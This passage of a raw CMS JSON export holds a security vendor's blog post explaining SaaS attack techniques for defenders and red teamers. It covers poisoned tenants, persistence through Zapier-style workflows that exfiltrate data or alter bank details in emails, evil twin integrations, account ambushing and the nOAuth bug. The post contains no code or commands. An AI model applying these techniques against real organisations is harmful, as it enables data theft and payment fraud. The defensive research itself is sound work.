estate.",{"data":177977,"content":177978,"nodeType":1317},{},[177979],{"data":177980,"marks":177981,"value":177982,"nodeType":865},{},[],"Initial access and poisoned tenants",{"data":177984,"content":177985,"nodeType":866},{},[177986,177990,177997,178000,178007,178011,178019],{"data":177987,"marks":177988,"value":177989,"nodeType":865},{},[],"Attacks like ",{"data":177991,"content":177992,"nodeType":889},{"uri":169182},[177993],{"data":177994,"marks":177995,"value":169188,"nodeType":865},{},[177996],{"type":943},{"data":177998,"marks":177999,"value":4988,"nodeType":865},{},[],{"data":178001,"content":178002,"nodeType":889},{"uri":169194},[178003],{"data":178004,"marks":178005,"value":169199,"nodeType":865},{},[178006],{"type":943},{"data":178008,"marks":178009,"value":178010,"nodeType":865},{},[]," that get you initial access to SaaS apps are fairly well known — because they work and are widely used. We’re also starting to see tools and attacks that suggest that ",{"data":178012,"content":178013,"nodeType":889},{"uri":169856},[178014],{"data":178015,"marks":178016,"value":178018,"nodeType":865},{},[178017],{"type":943},"phishing employees through these IM apps",{"data":178020,"marks":178021,"value":178022,"nodeType":865},{},[]," is about to go mainstream.",{"data":178024,"content":178025,"nodeType":866},{},[178026,178030,178039],{"data":178027,"marks":178028,"value":178029,"nodeType":865},{},[],"Another interesting attack is a spin on the classic waterhole attack called a ",{"data":178031,"content":178033,"nodeType":889},{"uri":178032},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/poisoned_tenants/description.md",[178034],{"data":178035,"marks":178036,"value":178038,"nodeType":865},{},[178037],{"type":943},"poisoned tenant",{"data":178040,"marks":178041,"value":178042,"nodeType":865},{},[],". Rather than attacking a customer tenant for a SaaS app, the attacker lures employees into joining an attacker-controlled tenant. ",{"data":178044,"content":178045,"nodeType":866},{},[178046],{"data":178047,"marks":178048,"value":178049,"nodeType":865},{},[],"SaaS apps allow anyone to name app tenants (a.k.a. spaces, teams, or instances) anything they like — including your company name. Attackers send invites to your employees from within the app with a customized message explaining why they should join this new tenant (or sign up to the app if they are not already a user). ",{"data":178051,"content":178052,"nodeType":866},{},[178053],{"data":178054,"marks":178055,"value":178056,"nodeType":865},{},[],"Attackers might even pay for premium licenses in the app to further entice employees to join. The attacker then waits for the employee to upload sensitive data or create integrations with other company apps containing crown jewels.",{"data":178058,"content":178059,"nodeType":1317},{},[178060],{"data":178061,"marks":178062,"value":178063,"nodeType":865},{},[],"Living-off-the-(SaaS)-land to persist and avoid detection",{"data":178065,"content":178066,"nodeType":866},{},[178067,178071,178080],{"data":178068,"marks":178069,"value":178070,"nodeType":865},{},[],"In the endpoint world, a favorite technique is the use of legit OS utilities or ",{"data":178072,"content":178074,"nodeType":889},{"uri":178073},"https://lolbas-project.github.io",[178075],{"data":178076,"marks":178077,"value":178079,"nodeType":865},{},[178078],{"type":943},"LOLBaS",{"data":178081,"marks":178082,"value":178083,"nodeType":865},{},[]," (Living-Off-the-Land Binaries and Scripts), which are often signed Microsoft utilities. Perhaps the most well-known example is executing scripts through PowerShell rather than building custom malware. That isn’t as useful these days, but there was a time when PowerShell was routinely used to bypass AV, EDR, and even app allow-listing.",{"data":178085,"content":178086,"nodeType":866},{},[178087,178091,178098],{"data":178088,"marks":178089,"value":178090,"nodeType":865},{},[],"In that same living-off-the-land mindset, an attacker trying to maintain access to each SaaS app they compromise using custom OAuth integration apps might instead choose to use legit SaaS apps that specialize in workflow automation to create ",{"data":178092,"content":178093,"nodeType":889},{"uri":145802},[178094],{"data":178095,"marks":178096,"value":145808,"nodeType":865},{},[178097],{"type":943},{"data":178099,"marks":178100,"value":178101,"nodeType":865},{},[],". Utilizing legit SaaS apps also means they can hide in plain sight from incident responders, instead of having to rely on unverified or unpublished integrations.",{"data":178103,"content":178104,"nodeType":866},{},[178105],{"data":178106,"marks":178107,"value":178108,"nodeType":865},{},[],"Perhaps the best example here is using a well-known automation app like Zapier, which claims to have more than 5,000 integrations. These integrations are often verified, approved, and connected to a trusted vendor (Zapier). An attacker might create workflows to:",{"data":178110,"content":178111,"nodeType":1616},{},[178112,178122,178132],{"data":178113,"content":178114,"nodeType":1570},{},[178115],{"data":178116,"content":178117,"nodeType":866},{},[178118],{"data":178119,"marks":178120,"value":178121,"nodeType":865},{},[],"Do daily data exfiltration from a victim’s data lake.",{"data":178123,"content":178124,"nodeType":1570},{},[178125],{"data":178126,"content":178127,"nodeType":866},{},[178128],{"data":178129,"marks":178130,"value":178131,"nodeType":865},{},[],"Configure a webhook that adds malicious accounts to a Github repo on demand.",{"data":178133,"content":178134,"nodeType":1570},{},[178135],{"data":178136,"content":178137,"nodeType":866},{},[178138],{"data":178139,"marks":178140,"value":178141,"nodeType":865},{},[],"Automatically find and replace bank account numbers in emails to the finance team.",{"data":178143,"content":178144,"nodeType":866},{},[178145],{"data":178146,"marks":178147,"value":178148,"nodeType":865},{},[],"All appear as legitimate Zapier integrations. But, before you put in alerts specifically for Zapier, know that it’s one of dozens of apps that support these kinds of offensive workflows.",{"data":178150,"content":178151,"nodeType":866},{},[178152,178156,178164],{"data":178153,"marks":178154,"value":178155,"nodeType":865},{},[],"A sneaky attacker might go further and use an ",{"data":178157,"content":178158,"nodeType":889},{"uri":101198},[178159],{"data":178160,"marks":178161,"value":178163,"nodeType":865},{},[178162],{"type":943},"evil twin integration",{"data":178165,"marks":178166,"value":178167,"nodeType":865},{},[]," to make another instance of an existing integration — making this backdoor almost impossible to discover.",{"data":178169,"content":178170,"nodeType":1317},{},[178171],{"data":178172,"marks":178173,"value":178174,"nodeType":865},{},[],"Features or vulnerabilities?",{"data":178176,"content":178177,"nodeType":866},{},[178178],{"data":178179,"marks":178180,"value":178181,"nodeType":865},{},[],"When looking for attack techniques, you’re typically going after features that have weaknesses you can abuse rather than bugs in a single app that will be patched. ",{"data":178183,"content":178184,"nodeType":866},{},[178185,178189,178198,178201,178208],{"data":178186,"marks":178187,"value":178188,"nodeType":865},{},[],"It’s pretty common for SaaS apps to skip email verification or allow multiple simultaneous authentication methods. Both of these are conscious design choices in the name of lowering the friction of account creation and reducing customer support. However, these features make techniques like ",{"data":178190,"content":178192,"nodeType":889},{"uri":178191},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/account_ambushing/description.md",[178193],{"data":178194,"marks":178195,"value":178197,"nodeType":865},{},[178196],{"type":943},"account ambushing",{"data":178199,"marks":178200,"value":4988,"nodeType":865},{},[],{"data":178202,"content":178203,"nodeType":889},{"uri":53259},[178204],{"data":178205,"marks":178206,"value":6715,"nodeType":865},{},[178207],{"type":943},{"data":178209,"marks":178210,"value":178211,"nodeType":865},{},[]," possible. If these attacks become widespread, these might come to be seen more as bugs rather than a positive feature for users.",{"data":178213,"content":178214,"nodeType":866},{},[178215,178219,178228],{"data":178216,"marks":178217,"value":178218,"nodeType":865},{},[],"In other cases, the bugs are serious enough and hard enough to patch that they’re worth noting as a technique. The recently disclosed (and perfectly named) ",{"data":178220,"content":178222,"nodeType":889},{"uri":178221},"https://www.descope.com/blog/post/noauth",[178223],{"data":178224,"marks":178225,"value":178227,"nodeType":865},{},[178226],{"type":943},"nOAuth",{"data":178229,"marks":178230,"value":178231,"nodeType":865},{},[]," bug fits this bill. ",{"data":178233,"content":178234,"nodeType":866},{},[178235],{"data":178236,"marks":178237,"value":178238,"nodeType":865},{},[],"The bug arises from a confusion between an email identity and email metadata field in Microsoft integrations and without a central fix from MS (the fix isn’t trivial), these bugs are likely to be discovered and re-occur on third-party OAuth apps for a while to come.",{"data":178240,"content":178243,"nodeType":912},{"target":178241},{"sys":178242},{"id":161934,"type":909,"linkType":910},[],{"data":178245,"content":178246,"nodeType":981},{},[178247],{"data":178248,"marks":178249,"value":178250,"nodeType":865},{},[],"The SaaS market is driving these offensive techniques",{"data":178252,"content":178253,"nodeType":866},{},[178254],{"data":178255,"marks":178256,"value":178257,"nodeType":865},{},[],"SaaS apps are basically web apps that are run in the cloud and accessed from endpoints, so then WebApp, endpoint, and cloud security should cover all of SaaS, right? ",{"data":178259,"content":178260,"nodeType":866},{},[178261],{"data":178262,"marks":178263,"value":178264,"nodeType":865},{},[],"That was our assumption when we started, but what we found instead was that SaaS marketing practices are driving a lot of pretty interesting techniques that you don’t run into in standalone web apps.",{"data":178266,"content":178267,"nodeType":1317},{},[178268],{"data":178269,"marks":178270,"value":178271,"nodeType":865},{},[],"Modern SaaS is easy to adopt, easy to use, low friction, low cost, low overhead",{"data":178273,"content":178274,"nodeType":866},{},[178275],{"data":178276,"marks":178277,"value":178278,"nodeType":865},{},[],"Making apps easy to sign up for and low effort to support means you need to make some interesting choices when it comes to designing account creation and recovery flows. ",{"data":178280,"content":178281,"nodeType":866},{},[178282],{"data":178283,"marks":178284,"value":178285,"nodeType":865},{},[],"Many apps allow users to sign into apps using multiple methods, easily invite collaborators (internal and external) and avoid any additional friction during the signup process. ",{"data":178287,"content":178288,"nodeType":866},{},[178289],{"data":178290,"marks":178291,"value":178292,"nodeType":865},{},[],"For example, many apps avoid verifying new account email addresses. This is not laziness, these are conscious design choices — not driven by security clearly, but not accidents.",{"data":178294,"content":178295,"nodeType":1317},{},[178296],{"data":178297,"marks":178298,"value":178299,"nodeType":865},{},[],"Modern SaaS is highly integrated",{"data":178301,"content":178302,"nodeType":866},{},[178303],{"data":178304,"marks":178305,"value":178306,"nodeType":865},{},[],"Most SaaS apps are trying to build app marketplaces or perform well in other apps' marketplaces (often both), and it’s rare these days to find apps that don’t integrate with other apps. ",{"data":178308,"content":178309,"nodeType":866},{},[178310],{"data":178311,"marks":178312,"value":178313,"nodeType":865},{},[],"OAuth has become the de facto standard protocol for doing this, and most users have become quite used to approving OAuth2.0 consent flows. These integrations have opened up lots of incredibly useful doors for attackers to persist access and move laterally across SaaS apps that few incident response teams have run into yet. These tokens don’t expire when you reset passwords, aren’t protected by MFA, and actions they performed are rarely logged. ",{"data":178315,"content":178316,"nodeType":866},{},[178317],{"data":178318,"marks":178319,"value":178320,"nodeType":865},{},[],"These are not bugs or oversights but rather a consequence of how these APIs are intended to be used (by machines, not human adversaries).",{"data":178322,"content":178323,"nodeType":981},{},[178324],{"data":178325,"marks":178326,"value":178327,"nodeType":865},{},[],"Problems with observing SaaS attacks ",{"data":178329,"content":178330,"nodeType":866},{},[178331,178335,178340],{"data":178332,"marks":178333,"value":178334,"nodeType":865},{},[],"This research begs one question above others: ",{"data":178336,"marks":178337,"value":178339,"nodeType":865},{},[178338],{"type":898},"“Are we seeing these attacks in the wild?",{"data":178341,"marks":178342,"value":178343,"nodeType":865},{},[],"” ",{"data":178345,"content":178346,"nodeType":1317},{},[178347],{"data":178348,"marks":178349,"value":178350,"nodeType":865},{},[],"Yes, definitely",{"data":178352,"content":178353,"nodeType":866},{},[178354,178358,178367,178370,178379,178383,178392,178395,178403,178407,178416],{"data":178355,"marks":178356,"value":178357,"nodeType":865},{},[],"For some of the better-known techniques, like credential stuffing and email phishing, the answer is an easy yes. Stats from ",{"data":178359,"content":178361,"nodeType":889},{"uri":178360},"https://www.microsoft.com/en-us/security/blog/2023/05/04/how-microsoft-can-help-you-go-passwordless-this-world-password-day/",[178362],{"data":178363,"marks":178364,"value":178366,"nodeType":865},{},[178365],{"type":943},"Microsoft (1,287 password attacks every second)",{"data":178368,"marks":178369,"value":4988,"nodeType":865},{},[],{"data":178371,"content":178373,"nodeType":889},{"uri":178372},"https://auth0.com/blog/top-insights-from-our-2022-state-of-secure-identity-report/",[178374],{"data":178375,"marks":178376,"value":178378,"nodeType":865},{},[178377],{"type":943},"Auth0 (a third of their traffic is credential stuffing)",{"data":178380,"marks":178381,"value":178382,"nodeType":865},{},[]," speaks volumes. Other sources like the ",{"data":178384,"content":178386,"nodeType":889},{"uri":178385},"https://www.gov.uk/government/statistics/cyber-security-breaches-survey-2022/cyber-security-breaches-survey-2022",[178387],{"data":178388,"marks":178389,"value":178391,"nodeType":865},{},[178390],{"type":943},"NCSC's Cyber Security Breaches Survey 2022",{"data":178393,"marks":178394,"value":113162,"nodeType":865},{},[],{"data":178396,"content":178397,"nodeType":889},{"uri":1063},[178398],{"data":178399,"marks":178400,"value":178402,"nodeType":865},{},[178401],{"type":943},"Verizon 2023 Data Breach Investigations Report",{"data":178404,"marks":178405,"value":178406,"nodeType":865},{},[]," suggest that phishing is also a major cause of SaaS breaches. Anecdotal reports from colleagues in the Incident Response field suggest that malicious mail forwarding rules are seen a lot, something which is supported by the ",{"data":178408,"content":178410,"nodeType":889},{"uri":178409},"https://expel.com/expel-quarterly-threat-report/",[178411],{"data":178412,"marks":178413,"value":178415,"nodeType":865},{},[178414],{"type":943},"Expel Quarterly Threat Report for Q1 2023",{"data":178417,"marks":178418,"value":178419,"nodeType":865},{},[]," (see page 6).",{"data":178421,"content":178422,"nodeType":866},{},[178423],{"data":178424,"marks":178425,"value":178426,"nodeType":865},{},[],"The takeaway is that the current focus for defenders should be to ensure users have good phishing-resistant account security in place — make sure you have basics like strong unique passwords and MFA in place across your entire SaaS estate.",{"data":178428,"content":178429,"nodeType":1317},{},[178430],{"data":178431,"marks":178432,"value":178433,"nodeType":865},{},[],"For newer OAuth attacks, it’s a lot less clear …",{"data":178435,"content":178436,"nodeType":866},{},[178437,178441,178446,178450,178459],{"data":178438,"marks":178439,"value":178440,"nodeType":865},{},[],"Other techniques like consent phishing have been discussed in some breach disclosures like the ",{"data":178442,"marks":178443,"value":178445,"nodeType":865},{},[178444],{"type":943},"2020 SANS breach",{"data":178447,"marks":178448,"value":178449,"nodeType":865},{},[],". These OAuth techniques also pop up in the news (for example, the ",{"data":178451,"content":178453,"nodeType":889},{"uri":178452},"https://www.bleepingcomputer.com/news/security/github-how-stolen-oauth-tokens-helped-breach-dozens-of-orgs/",[178454],{"data":178455,"marks":178456,"value":178458,"nodeType":865},{},[178457],{"type":943},"2022 Github/Heroku/Travis-CI breach",{"data":178460,"marks":178461,"value":178462,"nodeType":865},{},[]," where GitHub accounts were breached using stolen Heroku and Travis-CI OAuth tokens). ",{"data":178464,"content":178465,"nodeType":866},{},[178466,178470,178475],{"data":178467,"marks":178468,"value":178469,"nodeType":865},{},[],"That said, none of these techniques come up as frequently as their usefulness would suggest. This means one of two things: ",{"data":178471,"marks":178472,"value":178474,"nodeType":865},{},[178473],{"type":898},"Either attackers aren’t yet using them widely, or they are and we aren’t detecting them",{"data":178476,"marks":178477,"value":1615,"nodeType":865},{},[],{"data":178479,"content":178480,"nodeType":866},{},[178481],{"data":178482,"marks":178483,"value":178484,"nodeType":865},{},[],"There is certainly a case to be made that attackers simply don’t need these newer techniques yet. Many organizations don’t have a way of discovering SaaS use in their organization yet, never mind breached accounts, so new persistence techniques might be a bit more than necessary at the moment.",{"data":178486,"content":178487,"nodeType":1317},{},[178488],{"data":178489,"marks":178490,"value":178491,"nodeType":865},{},[],"But would we know if it was happening?",{"data":178493,"content":178494,"nodeType":866},{},[178495],{"data":178496,"marks":178497,"value":178498,"nodeType":865},{},[],"On the other hand, there is certainly the possibility that these attacks are increasingly used, but are simply not being discovered. A strong argument in favor of this view is the difficulty in investigating these attacks. Very few SaaS apps provide enough logging capability to discover these attacks as a customer. This is true even for the biggest, most mature apps like Office 365 and Google Workspace unless you are on top license tiers. This is doubly true for attacks that use OAuth, with many apps providing no insight or details into actions made using OAuth-authenticated APIs. ",{"data":178500,"content":178501,"nodeType":866},{},[178502,178506,178515,178519,178528],{"data":178503,"marks":178504,"value":178505,"nodeType":865},{},[],"This suggests only the SaaS providers for these apps are really in a position to discover and investigate them. This does ring true when you consider that ",{"data":178507,"content":178509,"nodeType":889},{"uri":178508},"https://blog.heroku.com/april-2022-incident-review",[178510],{"data":178511,"marks":178512,"value":178514,"nodeType":865},{},[178513],{"type":943},"Heroku",{"data":178516,"marks":178517,"value":178518,"nodeType":865},{},[]," relied heavily on Github during the investigation (and in one case even the detection of) their 2022 breaches, and the same seems true for a similar breach affecting ",{"data":178520,"content":178522,"nodeType":889},{"uri":178521},"https://circleci.com/blog/jan-4-2023-incident-report/",[178523],{"data":178524,"marks":178525,"value":178527,"nodeType":865},{},[178526],{"type":943},"CircleCI",{"data":178529,"marks":178530,"value":178531,"nodeType":865},{},[]," later that year. Github and CircleCI’s customers prompted the investigation after seeing strange behavior, but Github had access to the logs to investigate. It’s difficult to imagine that most or even many SaaS vendors have the resources or inclination to run these investigations effectively as GitHub appears to have.",{"data":178533,"content":178534,"nodeType":866},{},[178535,178539,178549],{"data":178536,"marks":178537,"value":178538,"nodeType":865},{},[],"So, are these attacks happening in the real world? My best guess is it’s a little bit of column A and a little bit of column B — there are likely not so many of these attacks happening yet, and when they do, I suspect the vast majority go undetected. ",{"data":178540,"content":178542,"nodeType":889},{"uri":178541},"https://www.youtube.com/watch?v=j95kNwZw8YY",[178543],{"data":178544,"marks":178545,"value":178548,"nodeType":865},{},[178546,178547],{"type":943},{"type":898},"But that’s just like my opinion, man.",{"data":178550,"marks":178551,"value":21,"nodeType":865},{},[],{"data":178553,"content":178554,"nodeType":866},{},[178555],{"data":178556,"marks":178557,"value":178558,"nodeType":865},{},[],"This is part of the reason we think enabling red teamers to try these techniques in anger is useful — this is the time-proven way to understand these risks.",{"data":178560,"content":178561,"nodeType":981},{},[178562],{"data":178563,"marks":178564,"value":178565,"nodeType":865},{},[],"What’s next?",{"data":178567,"content":178568,"nodeType":866},{},[178569],{"data":178570,"marks":178571,"value":178572,"nodeType":865},{},[],"We’ve barely scratched the surface, but perhaps there is enough here to get the discussion going. From past experience, discussion may not be enough, and it’s likely that live offensive work like penetration tests or more likely red team exercises will be required to make the risks of using these techniques real for the wider security community. ",{"data":178574,"content":178575,"nodeType":866},{},[178576],{"data":178577,"marks":178578,"value":178579,"nodeType":865},{},[],"After all, seeing is believing. We think some more practical examples and tools to help red  teamers use these techniques on engagements will help drive awareness forward, so we’ll be looking to build out this content.",{"data":178581,"content":178582,"nodeType":866},{},[178583,178587,178596],{"data":178584,"marks":178585,"value":178586,"nodeType":865},{},[],"We’ve started with pure networkless attacks that don’t touch customer networks or endpoints, but there are many useful techniques to connect the old endpoint world to the SaaS world. Consider stealing OAuth tokens from a thick client on an endpoint, or using a ",{"data":178588,"content":178590,"nodeType":889},{"uri":178589},"https://github.blog/2023-07-18-security-alert-social-engineering-campaign-targets-technology-industry-employees/",[178591],{"data":178592,"marks":178593,"value":178595,"nodeType":865},{},[178594],{"type":943},"backdoored GitHub repo to get code execution on endpoints",{"data":178597,"marks":178598,"value":1615,"nodeType":865},{},[],{"data":178600,"content":178601,"nodeType":866},{},[178602,178606,178613],{"data":178603,"marks":178604,"value":178605,"nodeType":865},{},[],"Help us all better understand how widespread these attacks are by sharing some war stories. We’d love some comments, discussions, or PRs on ",{"data":178607,"content":178608,"nodeType":889},{"uri":13171},[178609],{"data":178610,"marks":178611,"value":11198,"nodeType":865},{},[178612],{"type":943},{"data":178614,"marks":178615,"value":170072,"nodeType":865},{},[],{"data":178617,"content":178621,"nodeType":912},{"target":178618},{"sys":178619},{"id":178620,"type":909,"linkType":910},"2y0INxqAi594O7rCAVKhTI",[],{"data":178623,"content":178624,"nodeType":866},{},[178625],{"data":178626,"marks":178627,"value":21,"nodeType":865},{},[],"Let’s talk about SaaS attack techniques","Offensive security drives defensive security. We're sharing a collection of SaaS attack techniques to help defenders understand the threats they face.","2023-07-27T00:00:00.000Z","saas-attack-techniques",{"items":178633},[178634,178636],{"sys":178635,"name":7796},{"id":7795},{"sys":178637,"name":342},{"id":4642},{"items":178639},[178640],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":178641},{"url":57336},"blog/how-to-prevent-account-takeover-with-push",{"json":178644},{"data":178645,"content":178646,"nodeType":1382},{},[178647],{"data":178648,"content":178649,"nodeType":866},{},[178650],{"data":178651,"marks":178652,"value":178653,"nodeType":865},{},[],"How Push controls stop attackers from using identity attack tools and techniques to compromise your employee user accounts. ",{"id":167829,"publishedAt":178655},"2026-08-12T11:55:02.849Z",{"items":178657},[178658,178660],{"sys":178659,"name":342},{"id":4642},{"sys":178661,"name":7796},{"id":7795},{"items":178663},[178664,178666,178668,178670,178672,178674,178676,178678,178680,178682,178684,178686,178688,178690,178692,178694,178696,178698,178700],{"sys":178665,"name":413,"slug":414,"tier":31},{"id":410},{"sys":178667,"name":297,"slug":298,"tier":31},{"id":294},{"sys":178669,"name":279,"slug":280,"tier":31},{"id":276},{"sys":178671,"name":519,"slug":520,"tier":31},{"id":516},{"sys":178673,"name":342,"slug":343,"tier":31},{"id":339},{"sys":178675,"name":545,"slug":546,"tier":31},{"id":542},{"sys":178677,"name":333,"slug":334,"tier":45},{"id":330},{"sys":178679,"name":571,"slug":572,"tier":45},{"id":568},{"sys":178681,"name":261,"slug":262,"tier":45},{"id":258},{"sys":178683,"name":404,"slug":405,"tier":45},{"id":401},{"sys":178685,"name":502,"slug":503,"tier":45},{"id":499},{"sys":178687,"name":422,"slug":423,"tier":45},{"id":419},{"sys":178689,"name":457,"slug":458,"tier":45},{"id":454},{"sys":178691,"name":324,"slug":325,"tier":45},{"id":321},{"sys":178693,"name":395,"slug":396,"tier":45},{"id":392},{"sys":178695,"name":466,"slug":467,"tier":45},{"id":463},{"sys":178697,"name":589,"slug":590,"tier":45},{"id":586},{"sys":178699,"name":351,"slug":352,"tier":45},{"id":348},{"sys":178701,"name":475,"slug":476,"tier":45},{"id":472},"oyWsukrdpBbJa0Ug2GJSzBytbo4S12Lc25W7EZkerKw",{"id":178704,"title":163094,"authorsCollection":178705,"content":178710,"extension":228,"faqItemsCollection":179712,"faqTitle":59,"featured":6,"hashTags":59,"meta":179714,"metaTitle":179715,"ogImage":59,"postType":42959,"publishedDate":163096,"relatedBlogPostsCollection":179716,"slug":163097,"stem":181536,"subtitle":59,"summary":181537,"synopsis":163095,"sys":181548,"tagsCollection":181550,"topicsCollection":181556,"__hash__":181596},"blog/blog/what-the-rise-of-infostealers-says-about-identity-attacks.json",{"items":178706},[178707],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":178708,"profilePicture":178709},[30152],{"url":7804},{"json":178711,"links":179691},{"data":178712,"content":178713,"nodeType":1382},{},[178714,178740,178750,178763,178769,178775,178778,178784,178790,178906,178912,178918,178994,179000,179006,179054,179060,179081,179127,179130,179136,179152,179168,179174,179190,179196,179206,179209,179215,179221,179263,179269,179275,179291,179294,179300,179306,179312,179328,179334,179340,179346,179362,179368,179374,179380,179386,179402,179408,179414,179420,179426,179451,179456,179459,179465,179471,179476,179482,179488,179509,179515,179521,179560,179573,179589,179594,179600,179606,179612,179638,179674,179680,179685],{"data":178715,"content":178716,"nodeType":866},{},[178717,178720,178727,178730,178737],{"data":178718,"marks":178719,"value":161967,"nodeType":865},{},[],{"data":178721,"content":178722,"nodeType":889},{"uri":61637},[178723],{"data":178724,"marks":178725,"value":161975,"nodeType":865},{},[178726],{"type":943},{"data":178728,"marks":178729,"value":3485,"nodeType":865},{},[],{"data":178731,"content":178732,"nodeType":889},{"uri":13054},[178733],{"data":178734,"marks":178735,"value":161986,"nodeType":865},{},[178736],{"type":943},{"data":178738,"marks":178739,"value":161990,"nodeType":865},{},[],{"data":178741,"content":178742,"nodeType":866},{},[178743,178746],{"data":178744,"marks":178745,"value":161997,"nodeType":865},{},[],{"data":178747,"marks":178748,"value":162002,"nodeType":865},{},[178749],{"type":926},{"data":178751,"content":178752,"nodeType":866},{},[178753,178756,178760],{"data":178754,"marks":178755,"value":162009,"nodeType":865},{},[],{"data":178757,"marks":178758,"value":162014,"nodeType":865},{},[178759],{"type":926},{"data":178761,"marks":178762,"value":162018,"nodeType":865},{},[],{"data":178764,"content":178765,"nodeType":866},{},[178766],{"data":178767,"marks":178768,"value":162025,"nodeType":865},{},[],{"data":178770,"content":178771,"nodeType":866},{},[178772],{"data":178773,"marks":178774,"value":162032,"nodeType":865},{},[],{"data":178776,"content":178777,"nodeType":972},{},[],{"data":178779,"content":178780,"nodeType":981},{},[178781],{"data":178782,"marks":178783,"value":162042,"nodeType":865},{},[],{"data":178785,"content":178786,"nodeType":866},{},[178787],{"data":178788,"marks":178789,"value":162049,"nodeType":865},{},[],{"data":178791,"content":178792,"nodeType":1616},{},[178793,178812,178831,178850,178869,178887],{"data":178794,"content":178795,"nodeType":1570},{},[178796],{"data":178797,"content":178798,"nodeType":866},{},[178799,178802,178809],{"data":178800,"marks":178801,"value":162062,"nodeType":865},{},[],{"data":178803,"content":178804,"nodeType":889},{"uri":162065},[178805],{"data":178806,"marks":178807,"value":162071,"nodeType":865},{},[178808],{"type":943},{"data":178810,"marks":178811,"value":46245,"nodeType":865},{},[],{"data":178813,"content":178814,"nodeType":1570},{},[178815],{"data":178816,"content":178817,"nodeType":866},{},[178818,178821,178828],{"data":178819,"marks":178820,"value":149585,"nodeType":865},{},[],{"data":178822,"content":178823,"nodeType":889},{"uri":149588},[178824],{"data":178825,"marks":178826,"value":149594,"nodeType":865},{},[178827],{"type":943},{"data":178829,"marks":178830,"value":46245,"nodeType":865},{},[],{"data":178832,"content":178833,"nodeType":1570},{},[178834],{"data":178835,"content":178836,"nodeType":866},{},[178837,178840,178847],{"data":178838,"marks":178839,"value":162103,"nodeType":865},{},[],{"data":178841,"content":178842,"nodeType":889},{"uri":162106},[178843],{"data":178844,"marks":178845,"value":8641,"nodeType":865},{},[178846],{"type":943},{"data":178848,"marks":178849,"value":40358,"nodeType":865},{},[],{"data":178851,"content":178852,"nodeType":1570},{},[178853],{"data":178854,"content":178855,"nodeType":866},{},[178856,178859,178866],{"data":178857,"marks":178858,"value":162124,"nodeType":865},{},[],{"data":178860,"content":178861,"nodeType":889},{"uri":4147},[178862],{"data":178863,"marks":178864,"value":53721,"nodeType":865},{},[178865],{"type":943},{"data":178867,"marks":178868,"value":46245,"nodeType":865},{},[],{"data":178870,"content":178871,"nodeType":1570},{},[178872],{"data":178873,"content":178874,"nodeType":866},{},[178875,178878,178884],{"data":178876,"marks":178877,"value":162144,"nodeType":865},{},[],{"data":178879,"content":178880,"nodeType":889},{"uri":149610},[178881],{"data":178882,"marks":178883,"value":149616,"nodeType":865},{},[],{"data":178885,"marks":178886,"value":46245,"nodeType":865},{},[],{"data":178888,"content":178889,"nodeType":1570},{},[178890],{"data":178891,"content":178892,"nodeType":866},{},[178893,178896,178903],{"data":178894,"marks":178895,"value":162163,"nodeType":865},{},[],{"data":178897,"content":178898,"nodeType":889},{"uri":149652},[178899],{"data":178900,"marks":178901,"value":149658,"nodeType":865},{},[178902],{"type":943},{"data":178904,"marks":178905,"value":46245,"nodeType":865},{},[],{"data":178907,"content":178908,"nodeType":1317},{},[178909],{"data":178910,"marks":178911,"value":162180,"nodeType":865},{},[],{"data":178913,"content":178914,"nodeType":866},{},[178915],{"data":178916,"marks":178917,"value":162187,"nodeType":865},{},[],{"data":178919,"content":178920,"nodeType":866},{},[178921,178924,178931,178934,178941,178944,178951,178954,178961,178964,178971,178974,178981,178984,178991],{"data":178922,"marks":178923,"value":162194,"nodeType":865},{},[],{"data":178925,"content":178926,"nodeType":889},{"uri":162197},[178927],{"data":178928,"marks":178929,"value":162203,"nodeType":865},{},[178930],{"type":943},{"data":178932,"marks":178933,"value":162207,"nodeType":865},{},[],{"data":178935,"content":178936,"nodeType":889},{"uri":162210},[178937],{"data":178938,"marks":178939,"value":162216,"nodeType":865},{},[178940],{"type":943},{"data":178942,"marks":178943,"value":162220,"nodeType":865},{},[],{"data":178945,"content":178946,"nodeType":889},{"uri":162223},[178947],{"data":178948,"marks":178949,"value":162229,"nodeType":865},{},[178950],{"type":943},{"data":178952,"marks":178953,"value":2717,"nodeType":865},{},[],{"data":178955,"content":178956,"nodeType":889},{"uri":162235},[178957],{"data":178958,"marks":178959,"value":162241,"nodeType":865},{},[178960],{"type":943},{"data":178962,"marks":178963,"value":2717,"nodeType":865},{},[],{"data":178965,"content":178966,"nodeType":889},{"uri":162247},[178967],{"data":178968,"marks":178969,"value":162253,"nodeType":865},{},[178970],{"type":943},{"data":178972,"marks":178973,"value":2717,"nodeType":865},{},[],{"data":178975,"content":178976,"nodeType":889},{"uri":162259},[178977],{"data":178978,"marks":178979,"value":162265,"nodeType":865},{},[178980],{"type":943},{"data":178982,"marks":178983,"value":3476,"nodeType":865},{},[],{"data":178985,"content":178986,"nodeType":889},{"uri":162271},[178987],{"data":178988,"marks":178989,"value":162277,"nodeType":865},{},[178990],{"type":943},{"data":178992,"marks":178993,"value":162281,"nodeType":865},{},[],{"data":178995,"content":178996,"nodeType":866},{},[178997],{"data":178998,"marks":178999,"value":162288,"nodeType":865},{},[],{"data":179001,"content":179002,"nodeType":866},{},[179003],{"data":179004,"marks":179005,"value":162295,"nodeType":865},{},[],{"data":179007,"content":179008,"nodeType":1616},{},[179009,179018,179027,179036,179045],{"data":179010,"content":179011,"nodeType":1570},{},[179012],{"data":179013,"content":179014,"nodeType":866},{},[179015],{"data":179016,"marks":179017,"value":162308,"nodeType":865},{},[],{"data":179019,"content":179020,"nodeType":1570},{},[179021],{"data":179022,"content":179023,"nodeType":866},{},[179024],{"data":179025,"marks":179026,"value":162318,"nodeType":865},{},[],{"data":179028,"content":179029,"nodeType":1570},{},[179030],{"data":179031,"content":179032,"nodeType":866},{},[179033],{"data":179034,"marks":179035,"value":162328,"nodeType":865},{},[],{"data":179037,"content":179038,"nodeType":1570},{},[179039],{"data":179040,"content":179041,"nodeType":866},{},[179042],{"data":179043,"marks":179044,"value":162338,"nodeType":865},{},[],{"data":179046,"content":179047,"nodeType":1570},{},[179048],{"data":179049,"content":179050,"nodeType":866},{},[179051],{"data":179052,"marks":179053,"value":162348,"nodeType":865},{},[],{"data":179055,"content":179056,"nodeType":866},{},[179057],{"data":179058,"marks":179059,"value":162355,"nodeType":865},{},[],{"data":179061,"content":179062,"nodeType":1616},{},[179063,179072],{"data":179064,"content":179065,"nodeType":157